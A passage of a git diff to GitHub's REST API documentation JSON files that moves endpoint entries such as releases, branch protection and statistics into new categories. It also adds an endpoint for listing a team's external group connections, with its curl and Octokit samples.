     "descriptionHTML": "<p>Generate a name and body describing a <a href=\"https://docs.github.com/enterprise-server@3.3/rest/reference/repos#releases\">release</a>. The body content will be markdown formatted and contain information like the changes since last release and users who contributed. The generated release notes are not saved anywhere. They are intended to be generated and used when creating a new release.</p>",
@@ -73371,10 +73311,8 @@
       "subcategory": "releases"
     },
     "slug": "get-the-latest-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>View the latest published full release for the repository.</p>\n<p>The latest release is the most recent non-prerelease, non-draft release, sorted by the <code>created_at</code> attribute. The <code>created_at</code> attribute is the date of the commit used for the release, and not the date when the release was drafted or published.</p>",
@@ -73451,10 +73389,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-by-tag-name",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Get a published release with the specified tag.</p>",
@@ -73535,10 +73471,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Note:</strong> This returns an <code>upload_url</code> key corresponding to the endpoint for uploading release assets. This key is a <a href=\"https://docs.github.com/enterprise-server@3.3/rest/overview/resources-in-the-rest-api#hypermedia\">hypermedia resource</a>.</p>",
@@ -73693,10 +73627,8 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release.</p>",
@@ -73828,10 +73760,8 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "responses": [
       {
@@ -73926,10 +73856,10 @@
       "subcategory": "releases"
     },
     "slug": "list-release-assets",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -74044,10 +73974,10 @@
       "subcategory": "releases"
     },
     "slug": "upload-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "*/*",
     "notes": [],
     "bodyParameters": [],
@@ -74869,8 +74799,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -74948,8 +74878,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-last-year-of-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -75027,8 +74957,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-all-contributor-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -75106,8 +75036,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-count",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -75180,8 +75110,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-hourly-commit-count-for-each-day",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -75328,8 +75258,8 @@
       "subcategory": "statuses"
     },
     "slug": "create-a-commit-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "contentType": "application/json",
@@ -85818,8 +85748,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations-for-the-authenticated-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -85899,8 +85829,8 @@
       "subcategory": "invitations"
     },
     "slug": "accept-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -85979,8 +85909,8 @@
       "subcategory": "invitations"
     },
     "slug": "decline-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
diff --git a/lib/rest/static/decorated/github.ae.json b/lib/rest/static/decorated/github.ae.json
index 1621e4368a..775b96a69b 100644
--- a/lib/rest/static/decorated/github.ae.json
+++ b/lib/rest/static/decorated/github.ae.json
@@ -12015,6 +12015,77 @@
       }
     ]
   },
+  {
+    "verb": "get",
+    "requestPath": "/organizations/{org}/team/{team_slug}/external-groups",
+    "serverUrl": "https://{hostname}/api/v3",
+    "parameters": [
+      {
+        "name": "org",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "team_slug",
+        "description": "team_slug parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>team_slug parameter</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://{hostname}/api/v3/organizations/ORG/team/TEAM_SLUG/external-groups",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://{hostname}/api/v3/organizations/ORG/team/TEAM_SLUG/external-groups</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('GET /organizations/{org}/team/{team_slug}/external-groups', {\n  org: 'org',\n  team_slug: 'team_slug'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'GET /organizations/{org}/team/{team_slug}/external-groups'</span>, {\n  <span class=\"hljs-attr\">org</span>: <span class=\"hljs-string\">'org'</span>,\n  <span class=\"hljs-attr\">team_slug</span>: <span class=\"hljs-string\">'team_slug'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "List a connection between an external group and a team",
+    "description": "Lists a connection between a team and an external group.\n\nYou can manage team membership with your identity provider using Enterprise Managed Users for GitHub Enterprise Cloud. For more information, see \"[GitHub's products](https://docs.github.com/github-ae@latest/github/getting-started-with-github/githubs-products)\" in the GitHub Help documentation.",
+    "tags": [
+      "teams"
+    ],
+    "operationId": "teams/list-linked-external-idp-groups-to-team-for-org",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/github-ae@latest/rest/reference/teams#list-external-idp-group-team-connection"
+    },
+    "x-github": {
+      "githubCloudOnly": true,
+      "enabledForGitHubApps": true,
+      "previews": [],
+      "category": "teams",
+      "subcategory": "external-groups"
+    },
+    "slug": "list-a-connection-between-an-external-group-and-a-team",
+    "category": "teams",
+    "categoryLabel": "Teams",
+    "subcategory": "external-groups",
+    "subcategoryLabel": "External groups",
+    "notes": [],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Lists a connection between a team and an external group.</p>\n<p>You can manage team membership with your identity provider using Enterprise Managed Users for GitHub Enterprise Cloud. For more information, see \"<a href=\"https://docs.github.com/github-ae@latest/github/getting-started-with-github/githubs-products\">GitHub's products</a>\" in the GitHub Help documentation.</p>",
+    "responses": [
+      {
+        "httpStatusCode": "200",
+        "httpStatusMessage": "OK",
+        "description": "Response",
+        "payload": "<pre><code class=\"hljs language-json\"><span class=\"hljs-punctuation\">{</span>\n  <span class=\"hljs-attr\">\"groups\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-punctuation\">[</span>\n    <span class=\"hljs-punctuation\">{</span>\n      <span class=\"hljs-attr\">\"group_id\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"123\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"group_name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"Octocat admins\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"updated_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2021-01-24T11:31:04-06:00\"</span>\n    <span class=\"hljs-punctuation\">}</span><span class=\"hljs-punctuation\">,</span>\n    <span class=\"hljs-punctuation\">{</span>\n      <span class=\"hljs-attr\">\"group_id\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"456\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"group_name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"Octocat docs members\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"updated_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2021-03-24T11:31:04-06:00\"</span>\n    <span class=\"hljs-punctuation\">}</span>\n  <span class=\"hljs-punctuation\">]</span>\n<span class=\"hljs-punctuation\">}</span>\n</code></pre>"
+      }
+    ]
+  },
   {
     "verb": "get",
     "requestPath": "/orgs/{org}",
@@ -29752,10 +29823,8 @@
       "subcategory": "branches"
     },
     "slug": "list-branches",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -29837,10 +29906,8 @@
       "subcategory": "branches"
     },
     "slug": "get-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -29931,10 +29998,10 @@
       "subcategory": "branches"
     },
     "slug": "get-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -30843,10 +30910,10 @@
       "subcategory": "branches"
     },
     "slug": "update-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -31703,10 +31770,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -31787,10 +31854,10 @@
       "subcategory": "branches"
     },
     "slug": "get-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -31867,10 +31934,10 @@
       "subcategory": "branches"
     },
     "slug": "set-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Adding admin enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -31947,10 +32014,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -32031,10 +32098,10 @@
       "subcategory": "branches"
     },
     "slug": "get-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -32306,10 +32373,10 @@
       "subcategory": "branches"
     },
     "slug": "update-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating pull request review enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>\n<p><strong>Note</strong>: Passing new arrays of <code>users</code> and <code>teams</code> replaces their previous values.</p>",
@@ -32555,10 +32622,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -32639,10 +32706,10 @@
       "subcategory": "branches"
     },
     "slug": "get-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to check whether a branch requires signed commits. An enabled status of <code>true</code> indicates you must sign commits on this branch. For more information, see <a href=\"https://help.github.com/articles/signing-commits-with-gpg\">Signing commits with GPG</a> in GitHub Help.</p>\n<p><strong>Note</strong>: You must enable branch protection to require signed commits.</p>",
@@ -32724,10 +32791,10 @@
       "subcategory": "branches"
     },
     "slug": "create-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to require signed commits on a branch. You must enable branch protection to require signed commits.</p>",
@@ -32809,10 +32876,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -32893,10 +32960,10 @@
       "subcategory": "branches"
     },
     "slug": "get-status-checks-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -33079,10 +33146,10 @@
       "subcategory": "branches"
     },
     "slug": "update-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating required status checks requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -33254,10 +33321,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -33333,10 +33400,10 @@
       "subcategory": "branches"
     },
     "slug": "get-all-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -33462,10 +33529,10 @@
       "subcategory": "branches"
     },
     "slug": "add-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -33615,10 +33682,10 @@
       "subcategory": "branches"
     },
     "slug": "set-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -33762,10 +33829,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -33866,10 +33933,10 @@
       "subcategory": "branches"
     },
     "slug": "get-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists who has access to this protected branch.</p>\n<p><strong>Note</strong>: Users, apps, and teams <code>restrictions</code> are only available for organization-owned repositories.</p>",
@@ -33951,10 +34018,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -34030,10 +34097,10 @@
       "subcategory": "branches"
     },
     "slug": "get-apps-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the GitHub Apps that have push access to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>",
@@ -34158,10 +34225,10 @@
       "subcategory": "branches"
     },
     "slug": "add-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified apps push access for this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -34300,10 +34367,10 @@
       "subcategory": "branches"
     },
     "slug": "set-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of apps that have push access to this branch. This removes all apps that previously had push access and grants push access to the new list of apps. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -34441,10 +34508,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of an app to push to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -34540,10 +34607,10 @@
       "subcategory": "branches"
     },
     "slug": "get-teams-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the teams who have push access to this branch. The list includes child teams.</p>",
@@ -34669,10 +34736,10 @@
       "subcategory": "branches"
     },
     "slug": "add-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
